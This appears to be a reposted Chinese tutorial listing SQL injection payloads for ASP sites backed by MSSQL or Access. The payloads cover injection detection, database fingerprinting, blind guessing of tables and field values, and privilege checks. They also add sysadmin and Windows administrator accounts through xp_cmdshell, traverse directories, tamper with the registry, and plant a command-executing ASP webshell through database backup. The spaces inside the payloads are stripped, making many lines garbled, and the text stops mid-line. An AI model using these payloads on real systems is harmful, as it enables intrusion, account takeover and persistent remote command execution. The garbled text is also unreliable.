全面认识ASP注入技巧
2018-09-06 12:35
  复制代码 代码如下:
1.判断是否有注入 
;and1=1 
;and1=2 
2.初步判断是否是mssql 
;anduser>0 
3.注入参数是字符 
and[查询条件]and= 
4.搜索时没过滤参数的 
and[查询条件]and%25= 
5.判断数据库系统 
;and(selectcount(*)fromsysobjects)>0mssql 
;and(selectcount(*)frommsysobjects)>0access 
6.猜数据库 
;and(SelectCount(*)from[数据库名])>0 
7.猜字段 
;and(SelectCount(字段名)from数据库名)>0 
8.猜字段中记录长度 
;and(selecttop1len(字段名)from数据库名)>0 
9.(1)猜字段的ascii值(access) 
;and(selecttop1asc(mid(字段名,1,1))from数据库名)>0 
(2)猜字段的ascii值(mssql) 
;and(selecttop1unicode(substring(字段名,1,1))from数据库名)>0 
10.测试权限结构(mssql) 
;and1=(SELECTIS_SRVROLEMEMBER(sysadmin));-- 
;and1=(SELECTIS_SRVROLEMEMBER(serveradmin));-- 
;and1=(SELECTIS_SRVROLEMEMBER(setupadmin));-- 
;and1=(SELECTIS_SRVROLEMEMBER(securityadmin));-- 
;and1=(SELECTIS_SRVROLEMEMBER(diskadmin));-- 
;and1=(SELECTIS_SRVROLEMEMBER(bulkadmin));-- 
;and1=(SELECTIS_MEMBER(db_owner));-- 
11.添加mssql和系统的帐户 
;execmaster.dbo.sp_addloginusername;-- 
;execmaster.dbo.sp_passwordnull,username,password;-- 
;execmaster.dbo.sp_addsrvrolemembersysadminusername;-- 
;execmaster.dbo.xp_cmdshellnetuserusernamepassword/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;-- 
;execmaster.dbo.xp_cmdshellnetuserusernamepassword/add;-- 
;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsusername/add;-- 
12.(1)遍历目录 
;createtabledirs(pathsvarchar(100),idint) 
;insertdirsexecmaster.dbo.xp_dirtreec:\ 
;and(selecttop1pathsfromdirs)>0 
;and(selecttop1pathsfromdirswherepathsnotin(上步得到的paths))>) 
(2)遍历目录 
;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));-- 
;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器 
;insertintotemp(id)execmaster.dbo.xp_subdirsc:\;--获得子目录列表 
;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:\;--获得所有子目录的目录树结构 
;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:\web\index.asp;--查看文件的内容 
13.mssql中的存储过程 
xp_regenumvalues注册表根键,子键 
;execxp_regenumvaluesHKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Run以多个记录集方式返回所有键值 
xp_regread根键,子键,键值名 
;execxp_regreadHKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,CommonFilesDir返回制定键的值 
xp_regwrite根键,子键,值名,值类型,值 
值类型有2种REG_SZ表示字符型,REG_DWORD表示整型 
;execxp_regwriteHKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion, 
TestValueName,reg_sz,hello写入注册表 
xp_regdeletevalue根键,子键,值名 
execxp_regdeletevalueHKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,TestValueName删除某个值 
xp_regdeletekeyHKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey删除键,包括该键下所有值 
14.mssql的backup创建webshell 
usemodel 
createtablecmd(strimage); 
insertintocmd(str)values(<%DimoScript%>); 
backupdatabasemodeltodisk=c:\l.asp; 
15.mssql内置函数 
;and(select@@version)>0获得Windows的版本号 
;anduser_name()=dbo判断当前系统的连接用户是不是sa 
;and(selectuser_name())>0爆当前系统的连接用户 
;and(selectdb_name())>0得到当前连接的数据库 
16.简洁的webshell 
usemodel 
createtablecmd(strimage); 
insertintocmd(str)values(<%=server.createobject(wscript.shell).exec(cmd.exe/c&request(c)).stdout.readall%>); 
backupdatabasemodeltodisk=g:\